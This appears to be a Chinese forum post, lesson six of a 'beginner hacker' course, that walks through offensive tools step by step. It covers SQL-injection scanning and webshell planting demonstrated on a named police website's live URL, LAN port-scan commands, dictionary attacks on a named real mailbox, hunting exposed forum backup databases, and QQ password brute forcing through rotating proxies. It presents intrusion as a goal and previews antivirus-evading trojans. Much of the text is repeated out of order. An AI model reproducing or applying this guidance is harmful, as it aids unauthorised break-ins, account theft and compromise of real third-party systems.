忘了说一下,这里还有个破解工具 加密可以利用它时行明文到MD5的加密.我一般来它来验证我的MD5明文件数据.
Web Cracker v4.0 这是一款用来暴力破解某个页面用户与密码的工具.现在不多人知道了.这里只说一下"使用结合文件.
密码在用 户名里面".意思是说用户名也进行密码测试.说不定用户名就是密码.运气好的话可能一时半会就出现结果.
以上内容请看动画演示:
(2) 主机端口扫描类: NTscan S扫描器 x-Scan 流光 4899探测 superscan
NTscan是一款专门用来扫描445端口空/弱口令的扫描器 X-Scan据说是一款弱口令猜测很强悍的一款利器,不过我很少用.
流光是前几年黑客手中必备的一款扫描利器 以前有个传说:只会用鼠标的小菜利用它可以变成资深级黑客.呵呵.
我用流光也不少时日了,咋我就没有变成资深级黑客呢?不过确实,流光功能强大
可以利用它扫描各种漏洞,并且针对扫描出的漏洞给出相应入侵提示.
NTscan: 用来扫描445端口时,请选择WMI方式!端口填139或445 起始与结束IP填入你想扫描的IP段.其余保持默认.
下面有个主机文件.意思是说选择你事先用其它的扫描软件[如S扫描]扫到并保存为.txt的IP文件.
S扫描器: 是一个命令行下的小工具,不过扫描速度实在快.不过因为XPSP2限制线程为10 所以不能直接用它扫描.关于S扫描器的用法有几点需要注意: 一般来说 XPSP2由于受线程影响,是不能用的.也不是说一定不能用.只是不能用syn方式扫描.推荐在2K下扫描.
S扫描命令示例: s.exe syn 192.168.0.1 192.168.0.254 445,3389 /save 扫描整个局域网,端口为445和3389 把结果保存起来.
S扫描命令示例2: s.exe tcp 192.168.0.1 192.168.0.254 445 700 /save 采用tcp方式扫描.把结果存起来[这种方式可以用于XPSP2系统]
以上内容请看第五节课动画演示:
流光5: 以前有个传说,说什么刚会用鼠标的人玩转流光后,都会变成资深黑客.不过我用了这么多年流光了.咋还不是资深呢?呵呵.
不过由此可见流光的威力.该款工具的确功能强大.啥漏洞,啥空/弱口令都扫得出.关键是TIME!
流光软件得事先安装,安装后可能杀毒软件报警,这是正常.因为本是黑客软件嘛.
下面来看看流光界面: 左边框框是主机类型 右边是扫描信息显示框框 如果有空/弱口令将显示到最下面的框框里.
①破解一个指定的邮箱:traryzl@163.com首先选择POP3主机 然后右键添加POP3主机为OP3.163.COM 之后右击主机,
添加用户:traryzl 然后再到下面的"解码字典或方案"里选择一个密码文件.右击添加选择:password.Dic
[或是一个任意的字典文件,也可同时添加几个字典文件]
②简单扫描指定类型主机:从"探测"菜单选择"扫描POP3/FTP/NT/SQL主机" 然后指定IP地址,选择类型
[注解OP3指邮件主机,破解邮箱用. SQL主机指扫1433端口主机. NT/98主机指139IPC$主机 在扫描IPC$时有个小技巧,
请选择"选项"-"IPC$用户列表选项"在最上方的"最多列出多少个用户里选择3个或2个吧.这样扫描速度将快很多.
当然以此带来的损失可能是破解机会减少.]
③对指定主机或IP段进行全面化扫描: 探测-高级扫描工具-设置-全选 目标系统-windows NT/2000
[注:此功能windows98系统无法使用!另外在扫描指定IP的时候,不要指定过大的段.那样将花费很长时间,并且也容易死机!]
也可指定只扫描某个项目或某个端口.比如说我只扫某个端口 在"设置"右边的框框里我就只选择ORTS 然后再指定端口.
"选项"卡的意思是要你指定扫描所需要的用户名与密码文件
那我假如要扫描Telnet[23端口主机].该如何设置呢? 设置-检测项目-TELNET 当然还有更多的项目,更多的漏洞扫描,
建议大家多看看流光帮助及相关项目教程
④对指定网站服务器进行扫描 如:http://www.gyzz.com首先用CMD ping出网站IP 命令:pingwww.gyzz.com 然后采取第3步进行扫描.
(3)邮箱破解类: 黑雨-pop3 超级解密之王Brutus 流光
这几款工具主要用来破解针对性的邮箱帐号.至于效果明不明显,关键是要靠你的字典准不准了.
黑雨最上面的选择字符集是用来指定密码的类型.下面有个密码位数,及速度[线程]这些就靠你的运气或猜测度了.
超级解密之王Brutus 下面有三种模式,最后一种是复杂类型,要你指定密码类型.MIN最小位数,MAX最大位数 从上到现依次是数字,字母,大写字母等.最后一种是自己指定.至于流光开始说过了.这里不再重提.
以上内容请看动画演示:
(4)网站入侵辅助类[数据库扫描] 网站猎手 挖掘鸡
这是两款用来捕获数据库的扫描工具 同上,至于效果嘛,关键是你看你的关键字定义得准不准确.我通常用它来扫描动网数据库或某些网络商城的数据库
我现在开始要用网站猎手来扫描动网论论7.1的数据库,看我操作:1.选择论坛页面的关键字,关键字要是动网独有的才行.2.添加一个备份数据库页面:databackup/dvbbs7_backup.mdb,只选择它,以提高准确性及速度.3.利用关键字在百度搜到了相关网页,
然后按"整理网址","检测漏洞文件"
4.技巧,在查询的时候选择后面的页面吧.前面的一般不太准确.看到没有,找到个典型的.
挖掘鸡: 也是一款和网站猎手差不多的工具.其实挖掘鸡挺好的.关键是要掌握技巧.或是熟悉各种网站系统,才能挖到东西.呵呵.
以上内容请看动画演示:
(5)QQ特工之密码破解秀这是一款04年流行的工具,是通过暴力破解的方式猜测指定号码的密码.效果不大.有空可以看看.
这个嘛只是简单演示一下.毕竟是04年的工具了.老掉牙了.不过无聊时未尝不可一试.
在代理服务器里选择两个网上大把的免费代理服务器.不过扫上一段时间之后,这个IP便不能用了.需要换另外的.
以上内容请看动画演示:
(6)x-scan superscan 4899空口令探测工具,相信大家熟悉了以上工具之后,这些也就得心应手了.我就不再演示下去了.
关于扫描软件,无非就是指定项目[端口,或某一漏洞]指定速度[或线程] 指定IP
本节课主要介绍一些工具的使用.希望新手们多多练习.以上工具网上都有下载,如果没有其中某一项,可在贴子后留言注明.
第七课主要讲述ASP木马加密免杀 各种ASP木马的介绍 网页木马的制作及加密/免杀 网页挂马 webshell简单隐藏与一句话.
菜鸟黑客教程第六集
扫描工具实例演示:
本节课为菜鸟黑客系列教程的第六节课,通过这节课的学习我们将系统的步入初级黑客行列.通过对前几节课的学习,
相信大家理解了一般的入侵手法及入侵对策.熟话说磨刀不误砍柴工,有好的利器当然方便我们入侵的"伟大事业"
本节课主要讲工具使用.介绍一些常用及不常用的工具的设置,调整等.如果有以上经验的朋友可以略过此节课.
这节课主要介绍: 啊D注入扫描 明小子3.5旁注 流光 NTscan S扫描器 网站猎手 挖掘鸡 X-Scan QQ特工之密码破解秀
黑雨-pop3密码破解 超级解密之王Brutus 4899空口令探测工具 Web Cracker v4.0 superscan 以及第五节课讲的s扫描器,
通过对这些扫描工具的实例演示.相信大家掌握了常用扫描器的使用.
针对上面列出的工具我们来进行下归类:
(1) 网站注入类: 啊D注入 明小子旁注 Web Cracker v4.0
我们在这里只提取这两种常用工具演示.当然还有更多的工具,其中也不乏优秀的工具:如HDSI NBSI都是其中的代表.
可能某些方面这两款软件工具更强悍.
关于啊D注入工具网上也有许多修改过的破解版本 对于此工具,我个人认为在列目录方面比较强.往往一个MSSQL注入点,
用明小子列不出目录,换成啊D就行.
明小子广为流传的原因是有集成了两个很不错的功能.一个是域名查询,可用来旁注.另外一个是上传功能,
明小子数据库存储了许多后台及上传地址,通过扫功得到了一个上传地址之后,如果有上传漏洞,可直接利用它上传提交.
除此之外功能乃平平.
啊D注入 为什么要用珠海市公安局呢.因为是我上次无意中发现了一个注入点,所以就用它来演示了.希望大家可不要乱试啊.
不然这可是犯法的啊.
在啊D下面红色显示的为注入点,我这是里是:http://www.zhga.gov.cn/zhga/show.asp?id=349然后右击注入检测
可以从下面的几个框框里得到数据库类型及权限.然后再采取相应入侵策略.这个注入点是MSSQL型的.
并且权限为DB_OWNER 如果碰到这种情况,就表示可以对此地址进行列目录[也就是把它主机上的所有目录及文件显示出来]
等一下就会列出目录,利用这种方法可以找出网站的绝对路径.然后再利用一个getwebshell进行备份.一个webshell就到手了.
随便找个getwebshell工具,网上有许多.在地址栏填写注入地址.远程木马位置填写网站绝对目录及以下目录路径.然后选择备份.
刚才利用啊D扫到一个SQL注入点并且权限为DB_OWNER 一个一个盘的检测下去吧.以及一些管理入口扫描,相对于access而言.
[注:如果要列目录,一定要是SQL数据库,权限至少为DB_OWNER 并且啊D版本要为破解版本.因为原版限次列目录的次数,
如果权限 为SA的话.可以直接到"CMD/上传里执行命令]
明小子: 从网上随便找个网址.先试试上传页面;如果有直接右键选择上传.如果没有.可以试试上面的旁注.
旁注的意思我前几节课 讲过了.这里就不在讲了.
好了,结果出来了.看看左边这么多网站.然后选择"网站批量检测,选择好上传页面之后,开始.这个操作的意思是说:
把这所有的网站通通进行扫描上传页面.因为刚才那个没有上传页面嘛,它没有,并不代表人家没有啊.来到上传类型后.
看清楚你的上传地址是属于哪种类型的.其实这个不太要紧,一个类型不行.你可以试试其它的.反正有这么多地址,多试几个,
多试几种类型.并不是说所有的上传地址都有漏洞的.好了.我就不演示了.基上上明小子就这么个用法.其它的功能嘛,嘿嘿
忘了说一下,这里还有个破解工具 加密可以利用它时行明文到MD5的加密.我一般来它来验证我的MD5明文件数据.
Web Cracker v4.0 这是一款用来暴力破解某个页面用户与密码的工具.现在不多人知道了.这里只说一下"使用结合文件.
密码在用 户名里面".意思是说用户名也进行密码测试.说不定用户名就是密码.运气好的话可能一时半会就出现结果.
以上内容请看动画演示:
(2) 主机端口扫描类: NTscan S扫描器 x-Scan 流光 4899探测 superscan
NTscan是一款专门用来扫描445端口空/弱口令的扫描器 X-Scan据说是一款弱口令猜测很强悍的一款利器,不过我很少用.
流光是前几年黑客手中必备的一款扫描利器 以前有个传说:只会用鼠标的小菜利用它可以变成资深级黑客.呵呵.
我用流光也不少时日了,咋我就没有变成资深级黑客呢?不过确实,流光功能强大
可以利用它扫描各种漏洞,并且针对扫描出的漏洞给出相应入侵提示.
NTscan: 用来扫描445端口时,请选择WMI方式!端口填139或445 起始与结束IP填入你想扫描的IP段.其余保持默认.
下面有个主机文件.意思是说选择你事先用其它的扫描软件[如S扫描]扫到并保存为.txt的IP文件.
S扫描器: 是一个命令行下的小工具,不过扫描速度实在快.不过因为XPSP2限制线程为10 所以不能直接用它扫描.关于S扫描器的用法有几点需要注意: 一般来说 XPSP2由于受线程影响,是不能用的.也不是说一定不能用.只是不能用syn方式扫描.推荐在2K下扫描.
S扫描命令示例: s.exe syn 192.168.0.1 192.168.0.254 445,3389 /save 扫描整个局域网,端口为445和3389 把结果保存起来.
S扫描命令示例2: s.exe tcp 192.168.0.1 192.168.0.254 445 700 /save 采用tcp方式扫描.把结果存起来[这种方式可以用于XPSP2系统]
以上内容请看第五节课动画演示:
流光5: 以前有个传说,说什么刚会用鼠标的人玩转流光后,都会变成资深黑客.不过我用了这么多年流光了.咋还不是资深呢?呵呵.
不过由此可见流光的威力.该款工具的确功能强大.啥漏洞,啥空/弱口令都扫得出.关键是TIME!
流光软件得事先安装,安装后可能杀毒软件报警,这是正常.因为本是黑客软件嘛.
下面来看看流光界面: 左边框框是主机类型 右边是扫描信息显示框框 如果有空/弱口令将显示到最下面的框框里.
①破解一个指定的邮箱:traryzl@163.com首先选择POP3主机 然后右键添加POP3主机为OP3.163.COM 之后右击主机,
添加用户:traryzl 然后再到下面的"解码字典或方案"里选择一个密码文件.右击添加选择:password.Dic
[或是一个任意的字典文件,也可同时添加几个字典文件]
②简单扫描指定类型主机:从"探测"菜单选择"扫描POP3/FTP/NT/SQL主机" 然后指定IP地址,选择类型
[注解OP3指邮件主机,破解邮箱用. SQL主机指扫1433端口主机. NT/98主机指139IPC$主机 在扫描IPC$时有个小技巧,
请选择"选项"-"IPC$用户列表选项"在最上方的"最多列出多少个用户里选择3个或2个吧.这样扫描速度将快很多.
当然以此带来的损失可能是破解机会减少.]
③对指定主机或IP段进行全面化扫描: 探测-高级扫描工具-设置-全选 目标系统-windows NT/2000
[注:此功能windows98系统无法使用!另外在扫描指定IP的时候,不要指定过大的段.那样将花费很长时间,并且也容易死机!]
也可指定只扫描某个项目或某个端口.比如说我只扫某个端口 在"设置"右边的框框里我就只选择ORTS 然后再指定端口.
"选项"卡的意思是要你指定扫描所需要的用户名与密码文件
那我假如要扫描Telnet[23端口主机].该如何设置呢? 设置-检测项目-TELNET 当然还有更多的项目,更多的漏洞扫描,
建议大家多看看流光帮助及相关项目教程
④对指定网站服务器进行扫描 如:http://www.gyzz.com首先用CMD ping出网站IP 命令:pingwww.gyzz.com 然后采取第3步进行扫描.
(3)邮箱破解类: 黑雨-pop3 超级解密之王Brutus 流光
这几款工具主要用来破解针对性的邮箱帐号.至于效果明不明显,关键是要靠你的字典准不准了.
黑雨最上面的选择字符集是用来指定密码的类型.下面有个密码位数,及速度[线程]这些就靠你的运气或猜测度了.
超级解密之王Brutus 下面有三种模式,最后一种是复杂类型,要你指定密码类型.MIN最小位数,MAX最大位数 从上到现依次是数字,字母,大写字母等.最后一种是自己指定.至于流光开始说过了.这里不再重提.
以上内容请看动画演示:
(4)网站入侵辅助类[数据库扫描] 网站猎手 挖掘鸡
这是两款用来捕获数据库的扫描工具 同上,至于效果嘛,关键是你看你的关键字定义得准不准确.我通常用它来扫描动网数据库或某些网络商城的数据库
我现在开始要用网站猎手来扫描动网论论7.1的数据库,看我操作:1.选择论坛页面的关键字,关键字要是动网独有的才行.2.添加一个备份数据库页面:databackup/dvbbs7_backup.mdb,只选择它,以提高准确性及速度.3.利用关键字在百度搜到了相关网页,
然后按"整理网址","检测漏洞文件"
4.技巧,在查询的时候选择后面的页面吧.前面的一般不太准确.看到没有,找到个典型的.
挖掘鸡: 也是一款和网站猎手差不多的工具.其实挖掘鸡挺好的.关键是要掌握技巧.或是熟悉各种网站系统,才能挖到东西.呵呵.
以上内容请看动画演示:
(5)QQ特工之密码破解秀这是一款04年流行的工具,是通过暴力破解的方式猜测指定号码的密码.效果不大.有空可以看看.
这个嘛只是简单演示一下.毕竟是04年的工具了.老掉牙了.不过无聊时未尝不可一试.
在代理服务器里选择两个网上大把的免费代理服务器.不过扫上一段时间之后,这个IP便不能用了.需要换另外的.
以上内容请看动画演示:
(6)x-scan superscan 4899空口令探测工具,相信大家熟悉了以上工具之后,这些也就得心应手了.我就不再演示下去了.
关于扫描软件,无非就是指定项目[端口,或某一漏洞]指定速度[或线程] 指定IP
本节课主要介绍一些工具的使用.希望新手们多多练习.以上工具网上都有下载,如果没有其中某一项,可在贴子后留言注明.
第七课主要讲述ASP木马加密免杀 各种ASP木马的介绍 网页木马的制作及加密/免杀 网页挂马 webshell简单隐藏与一句话.
相关阅读:
导入论坛 引用链接 收藏 分享给好友 推荐到圈子 管理 举报
TAG: 爱好
